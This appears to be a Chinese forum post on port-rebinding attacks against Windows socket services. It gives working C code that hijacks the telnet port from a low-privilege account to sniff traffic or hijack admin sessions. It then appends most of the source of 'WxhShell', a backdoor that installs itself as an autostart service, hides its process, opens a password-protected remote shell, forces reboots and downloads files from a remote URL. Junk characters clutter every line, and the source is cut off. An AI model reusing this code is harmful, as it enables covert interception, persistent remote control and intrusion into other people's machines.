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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k:@N6K/$P^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XsFzSm  
Pq(LW(  
  saddr.sin_family = AF_INET; cyabqx  
)z4eRs F|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4UzXTsjM7  
E:A!tu$B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N{@~(>ee^  
B/n~ $  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e0Gs|c+6  
oZl%0Uy?9I  
  这意味着什么?意味着可以进行如下的攻击: 15aPoxo>  
7kT X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tuuwoiQ*`  
Gui[/iY,F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uf (_<~  
ovXk~%_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o>Dd1 j  
KQw>6)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S0r+Y0J]<  
g:G5'pZf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +bJ~S:[  
Odhr=Hs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _RZ"WA^[  
Iu >4+6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 co^h2b  
,7k1n{C)  
  #include aU[!*n 4Ux  
  #include rw gj]  
  #include ^L7!lzyo  
  #include    &1`Y&x:p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H/;AlN|!  
  int main() <$25kb R5K  
  { Xrpvq(]  
  WORD wVersionRequested; C>,> _  
  DWORD ret; ! R3P@,j  
  WSADATA wsaData; R?- zJ ;  
  BOOL val; qcQq.cS_'N  
  SOCKADDR_IN saddr; U^U hZ!  
  SOCKADDR_IN scaddr; -:J<JX)o  
  int err; 72*j6#zS  
  SOCKET s; KMQPA>w#  
  SOCKET sc; eL}X().  
  int caddsize; `P*BW,P'T  
  HANDLE mt; |90X_6(  
  DWORD tid;   bz~aj}"`  
  wVersionRequested = MAKEWORD( 2, 2 ); [/ertB  
  err = WSAStartup( wVersionRequested, &wsaData );  y}|E)  
  if ( err != 0 ) { owVks-/  
  printf("error!WSAStartup failed!\n"); Yw5-:w0f  
  return -1; wrXn|aV  
  } } _^ vvu  
  saddr.sin_family = AF_INET; X-TGrdoX  
   +o"CMI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R(cg`8  
.c__T {<)[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d\JB jT1g  
  saddr.sin_port = htons(23); S'NLj(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]IeLKcn  
  { gMkSl8[  
  printf("error!socket failed!\n"); UK*v\TMv  
  return -1; 4*5e0:O  
  } WXDo`_{R  
  val = TRUE; `Lavjmfr2V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LEOa=(mN\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l+hOD{F4pS  
  { Em5,Zr_  
  printf("error!setsockopt failed!\n"); u%I%4 gM  
  return -1; #e,TS`"eD  
  } kp}[nehF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s@y;b0$gk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oGl<i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .c0u##/0  
6iF&!Fd>J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ki/Cpfq40*  
  { O|^J;fS:  
  ret=GetLastError(); >kmgYWG  
  printf("error!bind failed!\n"); niW"o-}  
  return -1; ^Qn:#O9  
  } Y%- !%|  
  listen(s,2); )& Oxp&x  
  while(1) Fa v++z  
  { M5t.l (  
  caddsize = sizeof(scaddr); *p#@W-:9E  
  //接受连接请求 [^6z>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Iw h0PfWJ  
  if(sc!=INVALID_SOCKET) :M f8q!Q'  
  { v2p0EOS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n"D` =  
  if(mt==NULL) =NI?Jk*iAq  
  { 1,Mm+_)B  
  printf("Thread Creat Failed!\n"); &/)B d%  
  break; UL>2gl4s/  
  } ~/z%yg  
  } ~w|h;*Bj  
  CloseHandle(mt); 'gg <)Bd  
  } g`fMHU7  
  closesocket(s); i^ |G  
  WSACleanup(); 3/yt  
  return 0; g0}jE%)  
  }   {x_cgsn  
  DWORD WINAPI ClientThread(LPVOID lpParam) ',t*:GBZCf  
  { ZZTf/s*  
  SOCKET ss = (SOCKET)lpParam; ]FIIs58IM  
  SOCKET sc; ~K<h~TNP  
  unsigned char buf[4096]; ,r]H+vWS  
  SOCKADDR_IN saddr; -38"S;M8  
  long num; o^* :  
  DWORD val; pL`Q+}c}  
  DWORD ret; #=33TvprR2  
  //如果是隐藏端口应用的话,可以在此处加一些判断  G +41D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bj6Yz,g F  
  saddr.sin_family = AF_INET; }Bsh!3D<.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #)twk `!^  
  saddr.sin_port = htons(23); ABkDOG2br  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x|dP-E41\  
  { qBh@^GxY),  
  printf("error!socket failed!\n"); oSkQ/5hg.  
  return -1; bM:4i1Z  
  } {#4a}:3  
  val = 100; H>;,r ,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G kG#+C0L  
  { <*dcl2xS  
  ret = GetLastError(); 6-TYOUm  
  return -1; 1IS1P)4_0  
  } Dykh|"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f5b|,JJ  
  { 3!fR'L/i  
  ret = GetLastError(); cRD;a?0/6s  
  return -1; 5dN>Xjpu  
  } dg|x(p#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~ho,bwJM[T  
  { C/qKa[mg  
  printf("error!socket connect failed!\n"); @fp@1n  
  closesocket(sc); k3@d = k  
  closesocket(ss); i$@xb_  
  return -1; {k-_+#W"  
  } rr1'| k "  
  while(1) .KC V|x;QW  
  { O2p E"8=4Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +_cigxpTc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V;"2=)X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #0uu19+}  
  num = recv(ss,buf,4096,0); ,Ww}xmq1H  
  if(num>0) <PuY"-`/Oc  
  send(sc,buf,num,0); Q<;EQb#  
  else if(num==0) 'PY;  
  break; ?QJx!'Y,p  
  num = recv(sc,buf,4096,0); gT$WG$^i  
  if(num>0) FK~wr;[  
  send(ss,buf,num,0); rOt{bh6r  
  else if(num==0) %7aJSuQN%  
  break; *GBV[D[G,  
  } r"h09suZBW  
  closesocket(ss); Z$KyK.FUU  
  closesocket(sc); %N ~c9B  
  return 0 ; )e`9U.C  
  } A^X\  
('C)S)98C  
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========================================================== Y,Z$U| U  
stUv!   
下边附上一个代码,,WXhSHELL hLgX0QV  
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========================================================== `^hA&/1  
:.XlAQR~b  
#include "stdafx.h" &&P9T/Zks  
uj.$GAtO)  
#include <stdio.h> $p0D9mF  
#include <string.h> r /a@ x9  
#include <windows.h> gL&w:_  
#include <winsock2.h> Tc||96%2^  
#include <winsvc.h> vnQFq  
#include <urlmon.h> fg#e*7Odn  
_rIo @v  
#pragma comment (lib, "Ws2_32.lib") z[QDJMt>  
#pragma comment (lib, "urlmon.lib") &ZC{ _t  
1R~$m  
#define MAX_USER   100 // 最大客户端连接数 6O6B8  
#define BUF_SOCK   200 // sock buffer \:1$E[3v  
#define KEY_BUFF   255 // 输入 buffer sfw* _}y  
f&^}yqmuE  
#define REBOOT     0   // 重启 3MHpP5C  
#define SHUTDOWN   1   // 关机 p19(>|$J  
.$x}~Sw  
#define DEF_PORT   5000 // 监听端口 9v*y&V9/  
JluA?B7E  
#define REG_LEN     16   // 注册表键长度 >W-xDzJry  
#define SVC_LEN     80   // NT服务名长度 3I( n];  
juWXB+d2Y  
// 从dll定义API pqpsa'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?#:']q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *f;$5B#^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dO1 m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PDA9.b<q0  
E.NfVeq  
// wxhshell配置信息 RxJbQs$Ph  
struct WSCFG { ';Nc;9  
  int ws_port;         // 监听端口 .txtt?ZF2  
  char ws_passstr[REG_LEN]; // 口令 6IT6EkiT  
  int ws_autoins;       // 安装标记, 1=yes 0=no Kn5C  
  char ws_regname[REG_LEN]; // 注册表键名 y|MhV/P04  
  char ws_svcname[REG_LEN]; // 服务名 4To$!=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T?!SEblP]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e#h&Xa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9ETdO,L)f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2D"my]FnF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y96<c" t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 86-Rm  
?r&~(<^z  
}; r5hkxk'  
"A~dt5GJ  
// default Wxhshell configuration WeH_1$n5  
struct WSCFG wscfg={DEF_PORT, W[)HFh(#  
    "xuhuanlingzhe", hkb\ GcOj  
    1, }DjVZ48  
    "Wxhshell", !\%JOf}  
    "Wxhshell", oi7k#^  
            "WxhShell Service", = E_i  
    "Wrsky Windows CmdShell Service", Y]`=cR`/"  
    "Please Input Your Password: ", XZ@+aG_%q  
  1, _(' @'r  
  "http://www.wrsky.com/wxhshell.exe", .@nfqv7{  
  "Wxhshell.exe" jJ<&!=  
    }; '\8YH+%It  
[Ca''JqrA  
// 消息定义模块 I$+=Fb'N0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DPW^OgL;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2oahQ: }B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =GP L>a&  
char *msg_ws_ext="\n\rExit."; k CGb~+  
char *msg_ws_end="\n\rQuit."; [T7&)p  
char *msg_ws_boot="\n\rReboot..."; x<!]#**;  
char *msg_ws_poff="\n\rShutdown..."; wj}LVyV  
char *msg_ws_down="\n\rSave to "; oP56f"BE(  
!L9|iC:8  
char *msg_ws_err="\n\rErr!"; ?OnL,y|  
char *msg_ws_ok="\n\rOK!"; m)<+?Bv y  
<eSg%6z  
char ExeFile[MAX_PATH]; =*ErN  
int nUser = 0; h~ _i::vg  
HANDLE handles[MAX_USER]; !+@70|gFF  
int OsIsNt; ~YW;'  
 bV(BwWm  
SERVICE_STATUS       serviceStatus; W%^!<bFk}m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^u$=<66  
Z P|k3   
// 函数声明 ]Ri=*KZa  
int Install(void); dgX%NKv1  
int Uninstall(void); x{w|Hy  
int DownloadFile(char *sURL, SOCKET wsh); ) aMiT  
int Boot(int flag); Fng  
void HideProc(void); -WyB2$!(  
int GetOsVer(void); Y+23 jlgb  
int Wxhshell(SOCKET wsl); ;2g.X(Ra  
void TalkWithClient(void *cs); sXPva@8_  
int CmdShell(SOCKET sock); 3A"TpR4f`  
int StartFromService(void); [Nm?qY  
int StartWxhshell(LPSTR lpCmdLine); 4x+[?fw  
Q/Z>w+zh#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zi}h\R a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &${| o@  
o?M;f\Fy  
// 数据结构和表定义 TeZu*c  
SERVICE_TABLE_ENTRY DispatchTable[] = Y}.f&rLe  
{ 4j'rbbs/  
{wscfg.ws_svcname, NTServiceMain}, AdDR<IW  
{NULL, NULL} 5 8;OTDR!  
}; CfrO1iF  
8o,0='U  
// 自我安装 (HeSL),1  
int Install(void) z$m(@Q  
{ E,?IIRg&  
  char svExeFile[MAX_PATH]; zp f<!x^  
  HKEY key; Wy6a4oY  
  strcpy(svExeFile,ExeFile); 4`oKvL9  
=(TMcu$4`  
// 如果是win9x系统,修改注册表设为自启动 7vPG b:y  
if(!OsIsNt) { .HY,'oC.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { It/'R-H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7W4m&+  
  RegCloseKey(key); M9Sj@ww  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8#A4B2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \A\?7#9\  
  RegCloseKey(key); 2,I]H'}^  
  return 0; GK11fZpO:i  
    } s-SFu  
  } Z)(#D($-  
} jYAm}_?No  
else { ZWuNl!l>  
INk|NEX  
// 如果是NT以上系统,安装为系统服务 Snmv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h'G  
if (schSCManager!=0) wt@TR~a  
{ [N[4\W!!  
  SC_HANDLE schService = CreateService 0lq?l:/  
  ( Bo ywgL|  
  schSCManager, 6f#Mi+"  
  wscfg.ws_svcname, 6_yatq5c  
  wscfg.ws_svcdisp, GYJ j$'  
  SERVICE_ALL_ACCESS, &y73^"%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ia /#`#.  
  SERVICE_AUTO_START, QjpJIw  
  SERVICE_ERROR_NORMAL, "BpDlTYM  
  svExeFile, "#8^":,4  
  NULL, ?AxB0d9z  
  NULL, 9'|k@i:  
  NULL, oGeV!hD  
  NULL,  rB(Q)N  
  NULL ,:-^O#  
  ); }>,%El/  
  if (schService!=0) VpbJe@*D  
  { bqF?!t<B  
  CloseServiceHandle(schService); 4C:dkaDq]  
  CloseServiceHandle(schSCManager); {4[dHfIy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N@'l: N'f4  
  strcat(svExeFile,wscfg.ws_svcname); i[.7 8K-s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SZtSUt(ss  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "=40%j0  
  RegCloseKey(key); 5mudww`  
  return 0; _E-{*,7bZS  
    } 6b` Jq>v  
  } 6+s&%io4  
  CloseServiceHandle(schSCManager); $j(4FyH\  
} X9" T(`  
} fD_3lbiL(  
rniL+/-uU  
return 1; TOq xl  
} p!Tac%D+k  
Ft:_6T%  
// 自我卸载 :m'(8s8  
int Uninstall(void) Bv*VNfUm  
{ %%wngiz\  
  HKEY key; #t# S(A9)  
e cvZwL  
if(!OsIsNt) { 9/&1lFKJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RJT55Rv{  
  RegDeleteValue(key,wscfg.ws_regname); l9y%@7  
  RegCloseKey(key); slr>6o%W`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {JKG-0)z?  
  RegDeleteValue(key,wscfg.ws_regname); 3_eg'EP.E  
  RegCloseKey(key); f e^s`dsG  
  return 0; = K`]cEL  
  } I;$tBgOWq  
} !+ UXu]kA  
} eIP k$j{e  
else { x< d ew  
:}SR{}]yXs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %hBw)3;l  
if (schSCManager!=0) %$_?%X0=t  
{ Xh~oDnP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $x+ P)5)  
  if (schService!=0) &XhxkN$8  
  { 0q1+5  
  if(DeleteService(schService)!=0) { 5rA>2<\pQ  
  CloseServiceHandle(schService); |NjyO>@Pa  
  CloseServiceHandle(schSCManager); wlP% U  
  return 0; e6T?2`5P  
  } lL'K1%{+ \  
  CloseServiceHandle(schService); ^ilgd  
  } 2v*X^2+  
  CloseServiceHandle(schSCManager); 1o   
} AMK3I`=8WO  
} N=8CVI  
T Q {8 ee{  
return 1; f,@~@f X  
} 4 T/ ~erc  
yN#]Q}4  
// 从指定url下载文件 , d4i0;2}+  
int DownloadFile(char *sURL, SOCKET wsh) !E *IktAI  
{ -fK_F6_\]  
  HRESULT hr; $7Lcn9 ?G  
char seps[]= "/"; B,4GxoX`  
char *token; FQMA0"(G$  
char *file; lcoJ1+`C  
char myURL[MAX_PATH]; W;,RU8\f  
char myFILE[MAX_PATH]; w;Pe_m7\EO  
7 :u+-U  
strcpy(myURL,sURL); yN}<l%  
  token=strtok(myURL,seps); Z>'hNj)ju  
  while(token!=NULL) MB.LHIo  
  { D sBZ%  
    file=token; t{ridA}  
  token=strtok(NULL,seps); !6s]p%{V  
  } !<>`G0  
qMBEJ<o  
GetCurrentDirectory(MAX_PATH,myFILE); *b1NVN$  
strcat(myFILE, "\\"); B8V85R  
strcat(myFILE, file); 6y@o[=m  
  send(wsh,myFILE,strlen(myFILE),0); DsiyN:o'+  
send(wsh,"...",3,0); Yd~Tzh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YE@!`!`d:  
  if(hr==S_OK) %U97{y  
return 0; Fi+,omB&  
else E{}eYU  
return 1; gLg\W3TOi  
d[ce3':z  
} >PygUY d  
UWBR5  
// 系统电源模块 |Gb~[6u   
int Boot(int flag) w:9n/[  
{ ^`(3X  
  HANDLE hToken; X*:)]p(R  
  TOKEN_PRIVILEGES tkp; c5HW.3"  
-EU~ %/=m+  
  if(OsIsNt) { s3gT6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); & =vi]z:[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z#olKBs  
    tkp.PrivilegeCount = 1; `XbV*{7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C5#$NV99p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :Us NiR=l  
if(flag==REBOOT) { 8DlRD$_:&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rAQ3x0  
  return 0; ^eqq|(<K  
} RXbZaje$  
else { fAeq(tI=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mz .uK2l{  
  return 0; ob=IaZ@?  
} 9KZLlEk5O  
  } g*:f#u5  
  else { e&="5.ik  
if(flag==REBOOT) { zeHs5P8}r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XE*#5u8t  
  return 0;  *U4eL-  
} :WN*wd  
else { xV5eKV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @1 )][r-7  
  return 0; locf6%2g~  
} e%&/K7I"?  
} qznd '^[  
? $X1X`@  
return 1; 6imQjtI  
} e_CgZ  
y+a]?`2  
// win9x进程隐藏模块 ;jpsH?3g  
void HideProc(void)  jQ?6I1o  
{ >PiEu->P,  
Tk0Senq,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r}])V[V  
  if ( hKernel != NULL ) Z6r_T  
  { cH\.-5NQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5ayH5=(t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zo36jSrCL  
    FreeLibrary(hKernel); ^Zw1X6C5~  
  } Y[ toN9,  
UPJ3YpK  
return; 3 +$~l5LY  
} 5i1Xumh 4  
ZZ{:f+=?$  
// 获取操作系统版本 n8>( m,  
int GetOsVer(void) q:ZF6o`Z83  
{ m]:|j[!*M  
  OSVERSIONINFO winfo; th(<S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WMd5Y`y  
  GetVersionEx(&winfo); >`c-Fqk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ucz`^}+  
  return 1; PWThm ooP  
  else iOzY8M+N(  
  return 0; 'I roQ M  
} ojZvgF  
V,)bw  
// 客户端句柄模块  h48 jKL(  
int Wxhshell(SOCKET wsl) seEG~/U<  
{ 3]}wZY0  
  SOCKET wsh; } ^67HtNQ  
  struct sockaddr_in client; b7h0V4w  
  DWORD myID; $ @cg+Xrg1  
.#y.:Pb|e  
  while(nUser<MAX_USER) z>X<Di&x)  
{ BliL1"".  
  int nSize=sizeof(client); Z-,' M tD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k~ZE4^dM  
  if(wsh==INVALID_SOCKET) return 1; 9.qjEe  
zQQ=8#]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p$ %D  
if(handles[nUser]==0) ACcxQK}  
  closesocket(wsh); H"A|Z6y$^  
else ?4,e?S6,[  
  nUser++; ZkZTCb`/l  
  } 48 `k"Uy   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6{p] cr  
c31k%/.  
  return 0; m#a0HH  
} z tLP {q#  
4=E9$.3a  
// 关闭 socket SiyZq"  
void CloseIt(SOCKET wsh) 'XHKhpm<  
{ UfnjhHu  
closesocket(wsh); HqpwQ  
nUser--; BHh%3Q  
ExitThread(0); Hjm  
} MxO0#  
LD~/*  
// 客户端请求句柄 VMZ"i1rP  
void TalkWithClient(void *cs) as?~N/}  
{ Z;bg;@r|  
5g3D}F>OJ  
  SOCKET wsh=(SOCKET)cs; 3;6Criq}  
  char pwd[SVC_LEN]; pO.+hy  
  char cmd[KEY_BUFF]; s*k[Fbi  
char chr[1]; 9$pQ|e0tJ  
int i,j; HTz&h#)JQ  
5[_|+  
  while (nUser < MAX_USER) { '%$)"g]/#  
CG(G){u&  
if(wscfg.ws_passstr) { bZ.q?Hlfk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P<@V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8e9ZgC|  
  //ZeroMemory(pwd,KEY_BUFF); t_PAXj  
      i=0; y JJNr]oq  
  while(i<SVC_LEN) { CfoT$g  
? L A>5  
  // 设置超时 2/K38t'-  
  fd_set FdRead; W9ZfD~(3-  
  struct timeval TimeOut; oyS43/."  
  FD_ZERO(&FdRead); G/:;Qig  
  FD_SET(wsh,&FdRead); A[F tPk{k  
  TimeOut.tv_sec=8; `is."]%f  
  TimeOut.tv_usec=0; Ne)H*DT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \/Z?QBFvz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +p:#$R)MW  
$-zt,iRyV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4#oLf1  
  pwd=chr[0]; ppjS|l*`  
  if(chr[0]==0xd || chr[0]==0xa) { 4]F:QS% x  
  pwd=0; #&A)%Qbg  
  break; %B&y^mZv*\  
  } U=4tJb  
  i++;  ahno$[  
    } 3(De> gs$  
Q,# )  
  // 如果是非法用户,关闭 socket zCZ]`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dl2`b">u  
} Bn 5]{Df  
=N5~iMorD-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u/5 ^N^@^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b42"Y,sbB  
h#ogL-UU  
while(1) { mlsM;A d2  
&> Myf@  
  ZeroMemory(cmd,KEY_BUFF); tCFXb6Cz  
dy^Zlu` f  
      // 自动支持客户端 telnet标准   p<w2e  
  j=0; =}6yMR!4R<  
  while(j<KEY_BUFF) { 6tC0F=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y6 bl&_  
  cmd[j]=chr[0]; /T53"+7:0  
  if(chr[0]==0xa || chr[0]==0xd) { TmZ% ;TN  
  cmd[j]=0; {_GhS%  
  break; UQmdm$.  
  } bT^6AtsJ  
  j++; 7$8YBcZ6  
    } :`~;~gW<  
k?%?EsR  
  // 下载文件 Bg"KNg  
  if(strstr(cmd,"http://")) { Z= P]UD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +}eGCZra  
  if(DownloadFile(cmd,wsh)) rq;Xcc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T2Q`Ax7  
  else }pOem}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1'O++j_%y  
  } T) ZO+}  
  else { 2 1b  
[YbnpI  
    switch(cmd[0]) { |~'PEY  
  R/&Ev$:  
  // 帮助 ]!JUiFj"uD  
  case '?': { K"%_q$[YQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'P1I-ue  
    break; yMdE[/+3  
  } h[|c?\E z  
  // 安装 q2o`.f+I  
  case 'i': { 2$)xpET  
    if(Install()) r5h+_&v,M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5%+M:B  
    else hG~TqH^} B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gLyXe,Jp  
    break; `1AVw] k  
    } @WmEcX|  
  // 卸载 s4RqY*VK  
  case 'r': { ]kXiT Yg  
    if(Uninstall()) 6FYO5=R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UMcQqV+vT  
    else 8F?6Aq1B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {h< V^r  
    break; R^DZ@[\iV  
    } ) =KD   
  // 显示 wxhshell 所在路径 Hs}3c R}  
  case 'p': { k[{h$  
    char svExeFile[MAX_PATH]; h!k[]bt5  
    strcpy(svExeFile,"\n\r"); tZW2TUM]  
      strcat(svExeFile,ExeFile); f6\`eLGi1  
        send(wsh,svExeFile,strlen(svExeFile),0); k/ 6Qwb#  
    break; Bu[sSoA  
    } }XJA#@  
  // 重启 M0+xl+c+  
  case 'b': { `x{*P.]N!<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |ia#Elavo  
    if(Boot(REBOOT)) nY]5pOF:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  `7v"(  
    else { ""0 cw  
    closesocket(wsh); `\}Ck1o  
    ExitThread(0); >S<`ri'5_  
    } {5%u G2g  
    break; 8dgi"/[3  
    } :eL{&&6  
  // 关机 'T!^H  
  case 'd': { Pdq}~um3{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /2%646  
    if(Boot(SHUTDOWN)) })v`` +  
